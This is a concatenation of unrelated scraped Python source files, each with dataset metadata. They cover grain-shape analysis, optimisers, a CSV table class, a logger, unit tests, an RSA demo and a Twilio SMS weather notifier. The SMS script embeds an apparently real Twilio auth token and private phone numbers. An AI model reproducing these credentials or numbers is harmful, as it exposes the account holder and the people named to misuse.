'length_depth_width']\n\ncompare_groups = [('T. monococcum', 'T. beoticum'),\n ('T. dicoccum', 'T. dicoccoides'),\n ('H. spontaneum', 'H. vulgare'),\n ('T. beoticum', 'T. dicoccoides'),\n ('T. monococcum', 'T. dicoccum')]\n\n\ndef height_to_mm(x): return (x['height'] * 68.8)/1000\n\n\ndef z_to_mm(x): return (x['z'] * 68.8)/1000\n\n\ndef density(x): return x['sum_volume']/x['height']\n\n\neinkorn = pd.read_excel('../all_data_tidy.xlsx',\n sheet_name='{0}-{1}'.format(compare_groups[0][0],\n compare_groups[0][1]))\nemmer = pd.read_excel('../all_data_tidy.xlsx',\n sheet_name='{0}-{1}'.format(compare_groups[1][0],\n compare_groups[1][1]))\nbarley = pd.read_excel('../all_data_tidy.xlsx',\n sheet_name='{0}-{1}'.format(compare_groups[2][0],\n compare_groups[2][1]))\n\n\n# aestivum is mdivs now\naestivum = pd.read_excel('../all_data_tidy.xlsx',\n sheet_name='T. aestivum')\n\naestivum['surface_area'] = aestivum['surface_area']*100\naestivum['volume'] = aestivum['volume']*100\naestivum['Ploidy'] = '6n'\naestivum['Wild/Domesticated'] = 'domesticated'\naestivum['length_depth_width'] = aestivum.apply(\n lambda x: x['length'] * x['depth'] * x['width'], axis=1)\n\ntest_data = pd.read_excel('../all_data_tidy.xlsx', sheet_name='Testing Data')\n\neinkorn['slices'] = einkorn['height']\nemmer['slices'] = emmer['height']\nbarley['slices'] = barley['height']\n\n\ndef sa_ratio(x): return x['surface_area']/x['volume']\n\n\ndef l_w(x): return x['length']*x['width']\n\n\ntest_data['Surface Area - Volume'] = test_data.apply(sa_ratio, axis=1)\ntest_data['length_width'] = test_data.apply(l_w, axis=1)\ntest_data = test_data[test_data['Surface Area - Volume'] < 4]\n\naestivum['Surface Area - Volume'] = aestivum.apply(sa_ratio, axis=1)\naestivum = aestivum[aestivum['Surface Area - Volume'] < 2.5]\naestivum['length_width'] = aestivum.apply(l_w, axis=1)\n\neinkorn['Surface Area - Volume'] = einkorn.apply(sa_ratio, axis=1)\neinkorn = einkorn[einkorn['Surface Area - Volume'] < 4]\neinkorn['length_width'] = einkorn.apply(l_w, axis=1)\n\nemmer['Surface Area - Volume'] = emmer.apply(sa_ratio, axis=1)\nemmer = emmer[emmer['Surface Area - Volume'] < 4]\nemmer['length_width'] = emmer.apply(l_w, axis=1)\n\nbarley['Surface Area - Volume'] = barley.apply(sa_ratio, axis=1)\nbarley = barley[barley['Surface Area - Volume'] < 4]\nbarley['length_width'] = barley.apply(l_w, axis=1)\n\n\ndef ploidy_dom_name(x):\n return '{0} - {1}'.format(x['Ploidy'], x['Wild/Domesticated'])\n\n\neinkorn['Ploidy-Domestication'] = einkorn.apply(ploidy_dom_name, axis=1)\nemmer['Ploidy-Domestication'] = emmer.apply(ploidy_dom_name, axis=1)\nbarley['Ploidy-Domestication'] = barley.apply(ploidy_dom_name, axis=1)\n\n\nmake_top_bottom(einkorn)\nmake_top_bottom(emmer)\nmake_top_bottom(barley)\n\neinkorn['density'] = einkorn.apply(density, axis=1)\nemmer['density'] = emmer.apply(density, axis=1)\nbarley['density'] = barley.apply(density, axis=1)\n\neinkorn['height'] = einkorn.apply(height_to_mm, axis=1)\nemmer['height'] = emmer.apply(height_to_mm, axis=1)\nbarley['height'] = barley.apply(height_to_mm, axis=1)\n\neinkorn['z_mm'] = einkorn.apply(z_to_mm, axis=1)\nemmer['z_mm'] = emmer.apply(z_to_mm, axis=1)\nbarley['z_mm'] = barley.apply(z_to_mm, axis=1)\nbarley = barley[barley['Row'] == '2_row']\n\nplt.close('all')\n\n\n#make_all_pca(einkorn, emmer, barley)\n\n\n#analyse_all(einkorn, emmer, barley, compare_groups, atts, aestivum=aestivum)\n\ncomp_groups2 = ('T. monococcum', 'T. beoticum', 'T. dicoccum',\n 'T. dicoccoides', 'T. aestivum')\n","sub_path":"Analysis/ci.py","file_name":"ci.py","file_ext":"py","file_size_in_byte":30628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"549946119","text":"from scipy.optimize import differential_evolution\nimport psopy\n\nclass GenAlg(object):\n def __init__(self,maxiter=10,init_type='latinhypercube',pop_size=15):\n self.maxiter=maxiter\n self.init_type=init_type\n self.pop_size=pop_size\n \n def __call__(self,loss_fun,n_cand):\n init=init_population(self.init_type,n_cand,self.pop_size)\n bound_w = [(0.0, n_cand) for _ in range(n_cand)]\n result = differential_evolution(loss_fun, bound_w, \n init=init,\n maxiter=self.maxiter, tol=1e-7)\n return result['x']\n\nclass SwarmAlg(object):\n def __init__(self,maxiter=10,init_type=\"random\",pop_size=100):\n self.maxiter=maxiter\n self.init_type=init_type\n self.pop_size=pop_size\n\n def __call__(self,loss_fun,n_cand):\n init=init_population(self.init_type,n_cand,self.pop_size)\n res = psopy.minimize(loss_fun, init, options={'stable_iter':self.maxiter})\n return res.x \n\ndef init_population(init_type,n_cand,pop_size=15):\n if(init_type==\"random\"):\n return np.random.uniform(0,n_cand,(pop_size,n_cand))\n if(init_type==\"borda\"):\n return [[n_cand-j\n for j in range(n_cand)]\n for _ in range(pop_size)]\n if(init_type==\"borda_mixed\"):\n pop=[]\n for i in range(pop_size):\n if( (i%2)==0):\n pop.append([n_cand-j for j in range(n_cand)])\n else:\n pop.append( np.random.uniform(low=0.0, \n high=n_cand, size=(pop_size,)))\n return pop\n return 'latinhypercube'","sub_path":"pref/optim_algs.py","file_name":"optim_algs.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"289633565","text":"import csv\nimport json\nimport copy\n\n\nclass CSVDataTable:\n\n data_dir = '/Users/zs/4111/DataBase/'\n\n# initialize the class\n def __init__(self, t_name, t_file, key_column):\n self.table_name = t_name\n self.file_name = t_file\n self.key_columns = key_column\n self.columns = None\n self.rows = None\n\n# read the csv file as dictionary\n def __str__(self):\n result = \"\"\n result += \"Name: {}, File: {}, No.of columns:{},Key: {}\".format(self.table_name, self.file_name,len(self.rows),self.key_columns)\n result += \"\\n\"\n result += \"Columns = \" + str(self.columns)\n result += \"\\nRow = \\n\"\n for r in self.rows:\n result += str(r) + \"\\n\"\n return result\n\n # load the file by the file name into class instance data\n\n def load(self):\n file_address=self.data_dir+self.file_name\n\n with open(file_address, 'r') as csvfile:\n reader= csv.DictReader(csvfile)\n# initialize the column and row: column is the list of keys, and row is the data storage\n for row in reader:\n if self.columns is None:\n self.columns = list(row.keys())\n if self.rows is None:\n self.rows = []\n self.rows.append(row)\n\n def matches_template(self, template, row):\n keys = list(template.keys())\n for k in keys:\n if template[k] != row[k]:\n return False\n return True\n\n def find_by_template(self, template, fields):\n res=[]\n for r in self.rows:\n if self.matches_template(template, r):\n res.append(r)\n res=self.project(res, fields)\n return res\n\n\n def project(self, rows, fields):\n projection=[]\n for r in rows:\n new_row={}\n if fields is None:\n new_row=r\n else:\n for k in fields:\n new_row[k] = r[k]\n projection.append(new_row)\n return projection\n\n def find_by_primary_key(self, key, fields):\n t = {}\n for i in range(0, len(self.key_columns)):\n t[self.key_columns[i]] = key[i]\n result = self.find_by_template(t, fields)\n return result\n\n\n def insert(self, dict):\n if not self.check_in_table(dict):\n self.rows.append(dict)\n\n def check_in_table(self, dict):\n for r in self.rows:\n if self.matches_template(dict, r):\n return True\n return False\n\n\n def delete(self, template):\n m = self.find_by_template(template, None)\n for r in m:\n del(r)\n\n\n\n\n# save the new table\n# write the dictionary files into csv files\n\n\ncsvt = CSVDataTable(\"People\", \"short.csv\", ['playerID'])\ncsvt.load()\ncsvt.insert({'playerID': 'Me', 'birthYear': '1996', 'birthMonth': '2', 'birthDay': '5', 'birthCountry': 'USA', 'birthState': 'AL', 'birthCity': 'Mobile', 'deathYear': '1984', 'deathMonth': '8', 'deathDay': '16', 'deathCountry':'USA', 'deathState': 'GA', 'deathCity': 'Atlanta', 'nameFirst': 'Tommie', 'nameLast': 'Aaron', 'nameGiven': 'Tommie Lee', 'weight': '190', 'height': '75', 'bats': 'R', 'throws': 'R', 'debut': '1962-04-10', 'finalGame': '1971-09-26', 'retroID': 'aarot101', 'bbrefID': 'aaronto01'})\n#csvt.save()\nprint(\"Table=\\n\", csvt)\n\n\n\n \n\n\n","sub_path":"people.py","file_name":"people.py","file_ext":"py","file_size_in_byte":3355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"287892594","text":"import logging\nfrom datetime import datetime\n# import inspect\nimport os\nimport time\nimport traceback\nimport threading\n\nlog_format = \"[{lv}]\\t[{time}|{name}]\\t{msg}\"\ntime_format = \"%H:%M:%S\"\nlog_file_format = 'log_{int_time}.txt'\nt_lock=threading.Lock()\n\nclass Logger(object):\n def __init__(self,log_path: str = None, default_print_level: int = None):\n self.buffer = list()\n if log_path is None:\n self.log_path = None\n else:\n fn = log_file_format.format(int_time=int(time.time()))\n self.log_path = os.path.join(log_path, fn)\n self.print_level = logging.INFO if default_print_level is None else default_print_level\n self.recalls = set()\n\n def get_buffer(self, size: int = 50):\n return self.buffer[-size:]\n\n def log(self, name: str, msg: str, level: int = None):\n if level is None:\n level = logging.INFO\n msg_log = Log(name, msg, level)\n with t_lock:\n self.buffer.append(msg_log)\n if level >= self.print_level:\n print(msg_log)\n if self.log_path is not None:\n with open(self.log_path, 'a+') as fo:\n fo.write(str(msg_log))\n fo.write('\\n')\n for recall in self.recalls:\n try:\n recall(msg_log)\n except:\n self.recalls.remove(recall)\n emsg = 'Error occur in log recall %s:\\n%s' % (recall, traceback.format_exc())\n self.log('Logger', emsg, logging.ERROR)\n\n\nclass Log(object):\n def __init__(self, name: str, msg: str, lv: int):\n self.time = datetime.now()\n self.msg = msg\n self.name = name\n self.lv = lv\n # self.module = inspect.getmodule(inspect.stack()[2][0]).__name__\n\n def __str__(self):\n return log_format.format(\n time=self.time.strftime(time_format),\n name=self.name,\n msg=self.msg,\n lv=logging.getLevelName(self.lv),\n # module=self.module\n )\n\n def __dict__(self):\n return {\n 'time': self.time.strftime(time_format),\n 'name': self.name,\n 'msg': self.msg,\n 'lv': logging.getLevelName(self.lv),\n # 'module': self.module,\n }\n","sub_path":"FFxivPythonTrigger/Logger.py","file_name":"Logger.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"320023498","text":"#!/usr/bin/env python\n# coding=utf-8\nimport os\nimport urllib2 \nimport json \n\ncurl = \"curl http://www.weather.com.cn/data/cityinfo/101050101.html\"\nprocess = os.popen(curl)\nmsg = process.read()\ndic = eval(msg)\ndic1 = dic['weatherinfo']\n\ncity = '\\n'+ '\\nHi My Darling \\n' + dic1['city']\ntemp1 = '\\nlowest temperature : ' + dic1['temp1']\ntemp2 = '\\nhighest temperature : ' + dic1['temp2']\nweather = '\\nand the weather : ' + dic1['weather'] + \"\\nYour kiss still burns on my lips, everyday of mine is so beautiful\"\n\n\ndata_head =\"curl 'https://api.twilio.com/2010-04-01/Accounts/ACe98c1b5cdd2b4c95599ccb8f77e647fb/Messages.json' -X POST \\\n --data-urlencode 'To=+8618845143119' \\\n --data-urlencode 'From=+18064524086' \\\n --data-urlencode \"\ndata_head1 =\"curl 'https://api.twilio.com/2010-04-01/Accounts/ACe98c1b5cdd2b4c95599ccb8f77e647fb/Messages.json' -X POST \\\n --data-urlencode 'To=+8613945693374' \\\n --data-urlencode 'From=+18064524086' \\\n --data-urlencode \"\ndata_body0 =\"'Body=\"\ndata_body1 =\"'\"\ndata_tail =\" -u ACe98c1b5cdd2b4c95599ccb8f77e647fb:5c6c46844597c1799ddc7aaa77d16b34\"\ndata0 = city + temp1 + temp2 + weather\n\ndata = data_head + data_body0 + data0 + data_body1 + data_tail\ndata1 = data_head1 + data_body0 + data0 + data_body1 + data_tail \n#print data\nos.system(data)\nos.system(data1)\n","sub_path":"sms&&&weather_forecast.py","file_name":"sms&&&weather_forecast.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"216204894","text":"from .utils import parseinfo_context\n\n\nclass ShakespeareRuntimeError(Exception):\n def __init__(self, message, parseinfo=None, interpreter=None):\n self.message = message\n self.parseinfo = parseinfo\n self.interpreter = interpreter\n super().__init__()\n\n def __str__(self):\n return \"\\n\".join(\n [f\"SPL Error: {self.message}\"]\n + self._parseinfo_str_lines()\n + self._state_str_lines()\n )\n\n def _parseinfo_str_lines(self):\n if self.parseinfo is None:\n return []\n return [\n f\" at line {self.parseinfo.line}\",\n \"----- context -----\",\n parseinfo_context(self.parseinfo),\n ]\n\n def _state_str_lines(self):\n if self.interpreter is None:\n return []\n return [\"----- state -----\", str(self.interpreter.state)]\n","sub_path":"shakespearelang/errors.py","file_name":"errors.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"188590268","text":"import pandas as pd\nimport csv\n\ninput_path_rain = \"./data/rain_data.csv\"\ninput_path_exchange = \"./data/exchange_USDJPY.csv\"\noutput_path = \"./data/output.csv\"\n\ndata = {}\nwith open(input_path_rain,'r') as rain_csv :\n rain_data = csv.reader(rain_csv)\n header = next(rain_data)\n for rain in rain_data :\n if rain[2] != '' :\n data[rain[0]] = [float(rain[1]),float(rain[2])]\n else:\n data[rain[0]] = [float(rain[1])]\n\nwith open(input_path_exchange,'r') as exchange_csv :\n exchange_data = csv.reader(exchange_csv)\n header = next(exchange_data)\n for exchange in exchange_data :\n data[exchange[0]].append(float(exchange[1]))\n\ndata_mk2 = {}\nfor day, value in data.items() :\n if len(value) == 3 :\n data_mk2[day] = value\n\ndata_df = pd.DataFrame(data_mk2, index=['Rain','Lap','Diff'])\ndata_df = data_df.T\nprint(data_df)\ndata_df.to_csv(output_path)\n","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"443063549","text":"from cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives.asymmetric import padding\nfrom cryptography.hazmat.primitives import hashes\n\nsecret_message = b\"a thirty-two character long msge\"\n\n# public_exponent could be {3, .., 17, .., 65537, ..}\n# key_size = 2048 bits/8 = 256 bytes\nprivate_key = rsa.generate_private_key(public_exponent=65537,\n key_size=2048,\n backend=default_backend())\npublic_key = private_key.public_key()\n\n# Encrypting the message using the public key\ncipher_text = public_key.encrypt(secret_message,\n padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),\n algorithm=hashes.SHA1(), label=None))\n# Decrypting the message using the private key\nplain_text = private_key.decrypt(cipher_text,\n padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),\n algorithm=hashes.SHA1(), label=None))\n\nprint('Secret Message: ' + str(secret_message))\nprint('Cipher Text: ' + str(cipher_text))\nprint('Plain Text: ' + str(plain_text))\n","sub_path":"tests/rsa.py","file_name":"rsa.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"494883899","text":"#!/usr/bin/env python2\n# -*- coding: UTF-8 -*-\n\nimport unittest\nimport shutil\nimport os\nimport sys\nimport tempfile\nfrom fb2rename import *\n\n\ndef get_files(a_path=os.getcwd(), a_abspath=True):\n lsdir = os.listdir(a_path)\n lsdir = [f for f in lsdir if os.path.isfile(f)]\n if a_abspath:\n lsdir = [os.path.abspath(f) for f in lsdir]\n return lsdir\n\n\nclass CommonTest(unittest.TestCase):\n str_ch = r\"lineOnlyWithCharachters\"\n str_chNums = r\"0line2Only7WithChara3456chters0\"\n str_chUndr = r\"_line_Only_WithChara____chters_\"\n str_chSymb = r\"&line%Only#WithChara4(&;chters)\"\n\n @classmethod\n def setUp(self):\n self.tmpdir = tempfile.mkdtemp(prefix=os.path.basename(__file__))\n os.chdir(self.tmpdir)\n\n @classmethod\n def tearDown(self):\n if os.path.exists(self.tmpdir):\n shutil.rmtree(self.tmpdir)\n\n def test_ensurePathExists_createsAskedPath(self):\n path2check = os.path.join(self.tmpdir, 'dir1', 'dir2', 'dir3')\n self.assertFalse(os.path.exists(path2check))\n Common.ensure_path_exists(path2check)\n self.assertTrue(os.path.exists(path2check))\n\n def test_ensurePathExists_doesNotThrow_whenPathExists(self):\n path2check = os.path.join(self.tmpdir, 'dir1', 'dir2', 'dir3')\n Common.ensure_path_exists(path2check)\n self.assertTrue(os.path.exists(path2check))\n try:\n Common.ensure_path_exists(path2check)\n except:\n self.assertTrue(False, sys.exc_info()[0])\n\n def test_ensurePathExists_throws_whenPathIsNone(self):\n self.assertRaises(Exception, Common.ensure_path_exists, None)\n\n def test_ensurePathExists_doesNotThrow_whenPathIsEmpty(self):\n try:\n Common.ensure_path_exists('')\n Common.ensure_path_exists(u'')\n except:\n self.assertTrue(False, sys.exc_info()[0])\n\n def test_ensurePathExists_doesNotThrow_whenPathIsWhitespace(self):\n try:\n Common.ensure_path_exists(' ')\n Common.ensure_path_exists(u' ')\n except:\n self.assertTrue(False, sys.exc_info()[0])\n\n def test_ensurePathExists_throws_whenPathIsNotString(self):\n self.assertRaises(Exception, Common.ensure_path_exists, 17)\n self.assertRaises(Exception, Common.ensure_path_exists, ['e', 'werw'])\n\n def test_replace_returnsSameLine_whenAskedCharsAreEmpty(self):\n str_result = Common.replace(self.str_ch, '', '_')\n self.assertEqual(self.str_ch, str_result)\n\n def test_replace_returnsSameLine_whenAskedCharsAreNotPresent(self):\n str_result = Common.replace(self.str_ch, '!^%$', '_')\n self.assertEqual(self.str_ch, str_result)\n\n def test_replace_returnedStrippedLine_whenForbiddenCharsAreEmpty(self):\n str_to_check = ' \\t ' + self.str_ch + ' \\t'\n str_result = Common.replace(str_to_check, '', '')\n self.assertEqual(self.str_ch, str_result)\n\n def test_replace_returnedStrippedLine_whenForbiddenCharsAreNotEmpty(self):\n str_to_check = ' \\t ' + self.str_chUndr + ' \\t'\n str_result = Common.replace(str_to_check, '_', '')\n self.assertEqual(self.str_ch, str_result)\n\n def test_replace_replaceForbidenChars_whenAskedCharsArePresent(self):\n str_forbidden = '&()#4;%'\n str_result = Common.replace(self.str_chSymb, str_forbidden, '_')\n self.assertEqual(self.str_chUndr, str_result)\n\n def test_getTemplates_returnsDictWithDefaultKey(self):\n self.assertTrue('default' in Common.get_templates())\n\n\nclass GetFilesToWorkWith(unittest.TestCase):\n dir_not_exists = 'not_exists'\n ref = {}\n\n @classmethod\n def setUpClass(self):\n self.tmpdir = tempfile.mkdtemp(prefix=os.path.basename(__file__))\n ref_dirs = [\n self.tmpdir, os.path.join(self.tmpdir, 'dir1'),\n os.path.join(self.tmpdir, 'dir2')]\n files = self.get_ref(ref_dirs, [\n 'fb2', 'fb2.zip', 'rar', 'zip', 'txt', 'avi'])\n for f in files:\n open(f, 'a').close()\n os.chdir(self.tmpdir)\n\n @classmethod\n def tearDownClass(self):\n if os.path.exists(self.tmpdir):\n shutil.rmtree(self.tmpdir)\n\n @classmethod\n def get_ref_files(self, a_types):\n result = []\n if 'fb2' in a_types:\n result.append('file1.fb2')\n result.append('file2.fb2')\n if 'fb2.zip' in a_types:\n result.append('file3.fb2.zip')\n if 'rar' in a_types:\n result.append('file4.rar')\n if 'zip' in a_types:\n result.append('file5.zip')\n if 'txt' in a_types:\n result.append('file6.txt')\n if 'avi' in a_types:\n result.append('file7.avi')\n return result\n\n @classmethod\n def get_ref(self, a_dirs, a_types):\n result = []\n files = self.get_ref_files(a_types)\n for d in a_dirs:\n if not os.path.exists(d):\n os.mkdir(d)\n result.extend([os.path.join(d, t) for t in files])\n return result\n\n def test_returnEmptyList_whenArgumentsAreDefault(self):\n files = get_files_to_work_with()\n self.assertEqual(0, len(files))\n\n def test_returnsEmptyList_whenTypesArgumentIsEmpty(self):\n files = get_files_to_work_with(get_files(), [], [self.tmpdir])\n self.assertEqual(0, len(files))\n\n def test_returnsEmptyList_whenTypesArgumentIsNone(self):\n files = get_files_to_work_with(get_files(), None, [self.tmpdir])\n self.assertEqual(0, len(files))\n\n def test_returnsEmptyList_whenTypesArgumentIsNotList(self):\n files = get_files_to_work_with(get_files(), 'not_list', [self.tmpdir])\n self.assertEqual(0, len(files))\n\n def test_returnEmptyList_whenPathArgumentIsNotDir(self):\n types = ['fb2', 'fb2.zip']\n path = [self.dir_not_exists]\n files = get_files_to_work_with(get_files(), types, path)\n self.assertEqual(0, len(files))\n\n def test_returnEmptyList_whenPathArgumentIsNone(self):\n files = get_files_to_work_with(get_files(), ['fb2', 'fb2.zip'], None)\n self.assertEqual(0, len(files))\n\n def test_returnProperValues_whenTypesArgumentContainsOneItem(self):\n types = ['fb2']\n path = [self.tmpdir]\n files = get_files_to_work_with(get_files(os.getcwd()), types, path)\n ref = self.get_ref([self.tmpdir], types)\n self.assertEqual(sorted(ref), sorted(files))\n\n def test_returnProperValues_whenTypesArgumentContainsExistingTypes(self):\n types = ['fb2', 'rar']\n path = [self.tmpdir]\n files = get_files_to_work_with(get_files(os.getcwd()), types, path)\n ref = self.get_ref([self.tmpdir], types)\n self.assertEqual(sorted(ref), sorted(files))\n\n def test_returnProperValues_whenTypesArgumentContainsDoubledExtension(self):\n types = ['fb2', 'fb2.zip']\n path = [self.tmpdir]\n files = get_files_to_work_with(get_files(os.getcwd()), types, path)\n ref = self.get_ref([self.tmpdir], types)\n self.assertEqual(sorted(ref), sorted(files))\n\n def test_returnProperValues_whenTypesArgumentContainsNotExistingExtension(self):\n types = ['fb2', 'ogg']\n path = [self.tmpdir]\n files = get_files_to_work_with(get_files(os.getcwd()), types, path)\n ref = self.get_ref([self.tmpdir], ['fb2'])\n self.assertEqual(sorted(ref), sorted(files))\n\n def test_getFilesFromTheArgumentPath_whenFilesArgumentIsEmpty(self):\n files = get_files_to_work_with([], ['fb2'], [self.tmpdir])\n ref = self.get_ref([self.tmpdir], ['fb2'])\n self.assertEqual(sorted(ref), sorted(files))\n\n def test_getFilesFromTheArgumentPath_whenFilesArgumentIsNotEmpty(self):\n dirs_to_scan = [os.path.join(self.tmpdir, 'dir1')]\n files = get_files_to_work_with(get_files(os.getcwd()), ['fb2'], dirs_to_scan)\n ref = self.get_ref([self.tmpdir], ['fb2'])\n ref.extend(self.get_ref(dirs_to_scan, ['fb2']))\n self.assertEqual(sorted(ref), sorted(files))\n\n def test_getFilesFromSubfolders_whenRecursiveIsTrue(self):\n path = [self.tmpdir]\n types = ['fb2', 'rar']\n ref = self.get_ref([self.tmpdir], types)\n ref.extend(self.get_ref([os.path.join(self.tmpdir, 'dir1')], types))\n ref.extend(self.get_ref([os.path.join(self.tmpdir, 'dir2')], types))\n files = get_files_to_work_with(get_files(os.getcwd()), types, path, True)\n self.assertEqual(sorted(ref), sorted(files))\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test_fb2rename.py","file_name":"test_fb2rename.py","file_ext":"py","file_size_in_byte":8536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"639576772","text":"import os,shutil\r\nnode = r'default'\r\n\r\n'''def conf_dispaly(node):\r\n #from waflog.models import Guard\r\n import re,os\r\n path = os.path.join('../','file',node)\r\n print(path)\r\n if os.path.exists(path):\r\n print(\"节点名称 %s 已存在\" %(node))\r\n else:\r\n os.makedirs(path) #创建文件夹\r\n print('节点文件 %s 已创建' %(node))\r\n conf = open('default/config.lua', 'rb')\r\n message =conf.readlines()\r\n for i in message:\r\n #print(i)\r\n\r\n i = i.decode('UTF-8')\r\n #config_waf_enable = \"on\"\r\n matchObj = re.match(r'(^config_(.*) = \"(.*?))\" .*',i,re.M|re.I)\r\n\r\n\r\n if matchObj:\r\n if matchObj.group(2) == 'waf_enable':\r\n print(matchObj.group(2),matchObj.group(3)) #防护类型 开启\r\n elif matchObj.group(2) == 'white_ip_check':\r\n print(matchObj.group(2),matchObj.group(3))\r\n elif matchObj.group(2) == 'black_ip_check':\r\n print(matchObj.group(2),matchObj.group(3))\r\n elif matchObj.group(2) == 'url_check':\r\n print(matchObj.group(2),matchObj.group(3))\r\n elif matchObj.group(2) == 'user_agent_check':\r\n print(matchObj.group(2),matchObj.group(3))\r\n elif matchObj.group(2) == 'cookie_check':\r\n print(matchObj.group(2),matchObj.group(3))\r\n elif matchObj.group(2) == 'cc_check':\r\n print(matchObj.group(2),matchObj.group(3))\r\n elif matchObj.group(2) == 'waf_output':\r\n print(matchObj.group(2),matchObj.group(3))\r\n else:\r\n print(\"no match\")\r\n conf.close()\r\n conf = open('default/config.lua', 'rb')\r\n guard1 = 'waf_enable'\r\n txt = conf.read()\r\n message1 = txt.decode('UTF-8')\r\n pattern1 = r'((%s+) = \"(.*)\")'%(guard1)\r\n matchObj1 = re.search(pattern1,message1,re.M|re.I)\r\n\r\n guard2 = 'waf_output'\r\n pattern2 = r'((%s+) = \"(.*)\")'%(guard2)\r\n matchObj2 = re.search(pattern2,message1,re.M|re.I)\r\n print('.......................................')\r\n print(matchObj1.group(2))\r\n print(matchObj1.group(3))\r\n print('.......................................')\r\n print(matchObj2.group(2))\r\n print(matchObj2.group(3))\r\n\r\n conf.close()\r\n\r\nconf_dispaly(node)\r\n\r\nnode_name = 'cc'\r\nfile_dir = os.path.dirname(__file__)\r\nfile_path = os.path.join('/file/',node)\r\npath = os.path.join(file_dir,node,r'config.lua')\r\nprint(file_dir)\r\nprint(file_path)\r\nprint(path)\r\ntry:\r\n conf = open(path, 'rb')\r\n content = conf.read()\r\n print(content)\r\n conf.close()\r\nexcept:\r\n print(\"文件路径错误\")\r\n#conf.close()\r\n\r\nif os.path.exists(file_path):\r\n print(\"节点名称 %s 已存在\" %(node_name))\r\nelse:\r\n os.makedirs(file_path) #创建文件夹\r\n print('节点文件 %s 已创建' %(node_name))'''\r\ndef get_MD5(file_path):\r\n files_md5 = os.popen('md5 %s'%file_path).read().strip()\r\n file_md5 = files_md5.replace('md5 (%s) = '%file_path,'')\r\n return file_md5\r\n\r\ndef copy_file(source_dirname,target_dirname):\r\n '''for file in os.listdir(source_dir):\r\n source_file = os.path.join(source_dir,file)\r\n target_file = os.path.join(target_dir,file)\r\n if os.path.isfile(source_file):\r\n if get_MD5(source_file):\r\n if get_MD5(source_file)!= get_MD5(target_file):\r\n shutil.copy(source_file,target_file)\r\n\r\n else:\r\n shutil.copy(source_file,target_file)\r\n elif not os.path.isdir()'''\r\n file_dir = os.path.dirname(__file__)\r\n source_dir = os.path.join(file_dir,source_dirname)\r\n target_dir = os.path.join(file_dir,target_dirname)\r\n print(source_dir)\r\n print(target_dir)\r\n\r\n if os.path.exists(target_dir):\r\n print(\"节点已存在,即将覆盖\")\r\n shutil.rmtree(target_dir)\r\n shutil.copytree(source_dir,target_dir)\r\n\r\n\r\ncopy_file('default','node1')\r\n\r\n\r\n\r\n\r\n","sub_path":"waflog/static/file/新建文本文档.py","file_name":"新建文本文档.py","file_ext":"py","file_size_in_byte":3936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"37137091","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/5/25 下午5:22\n# @Author : ShaHeTop-Almighty-ares\n# @Email : yang6333yyx@126.com\n# @File : process_function.py\n# @Software: PyCharm\n\nimport time\nfrom multiprocessing import Pool\nfrom urllib import parse, request\nimport requests\nfrom queue import Queue\n\n\ndef run(fn):\n # fn: 函数参数是数据列表的一个元素\n time.sleep(1)\n print(fn * fn)\n\n\nclass TestUrl:\n def __init__(self, url, parameters, headers=None):\n self.url = url\n self.parameters = parameters\n self.headers = headers\n\n def get_url(self):\n parameters = parse.urlencode(self.parameters)\n # 输出内容:pageIndex=1&pageSize=5\n # print(parameters)\n # 整合\n req = request.Request(url='%s%s%s' % (self.url, '?', parameters), headers=self.headers)\n # print('请求时间', datetime.datetime.now())\n res = request.urlopen(req)\n res.close()\n # print('关闭时间', datetime.datetime.now(), '\\n')\n # data = res.read()\n # print(data) # 二进制\n # print(data.decode(encoding='utf-8')) # 转utf-8:输出\n\n def post_url(self):\n parms = self.parameters\n response = requests.post(self.url, data=parms)\n print(response.text)\n response.close()\n\n\nif __name__ == \"__main__\":\n # get\n u = 'http://127.0.0.1:8000/app_index'\n p = {'pageIndex': '1', 'pageSize': '5'}\n header_dict = {\n 'cache-control': \"no-cache\",\n 'postman-token': \"b18c150b-9d25-8364-13d4-69452acaf968\"\n }\n\n\n # TestUrl(url=u, parameters=p, headers=header_dict).get_url()\n # print('get-end')\n\n\n def get_url(url, parameters, headers=None):\n parameters = parse.urlencode(parameters)\n # 输出内容:pageIndex=1&pageSize=5\n # print(parameters)\n # 整合\n req = request.Request(url='%s%s%s' % (url, '?', parameters), headers=headers)\n # print('请求时间', datetime.datetime.now())\n\n res = request.urlopen(req)\n res.close()\n # print('关闭时间', datetime.datetime.now(), '\\n')\n # data = res.read()\n # print(data) # 二进制\n # print(data.decode(encoding='utf-8')) # 转utf-8:输出\n\n\n testFL = [1, 2, 3, 4, 5, 6]\n print('shunxu:') # 顺序执行(也就是串行执行,单进程)\n s = time.time()\n for fn in testFL:\n run(fn)\n t1 = time.time()\n print(\"顺序执行时间:\", t1 - s)\n\n print('concurrent:') # 创建多个进程,并行执行\n\n pool = Pool(10) # 创建拥有10个进程数量的进程池\n # testFL:要处理的数据列表,run:处理testFL列表中数据的函数\n\n pool.map(run, testFL)\n # pool.map(get_url, [u, u], [p, p])\n pool.close() # 关闭进程池,不再接受新的进程\n pool.join() # 主进程阻塞等待子进程的退出\n 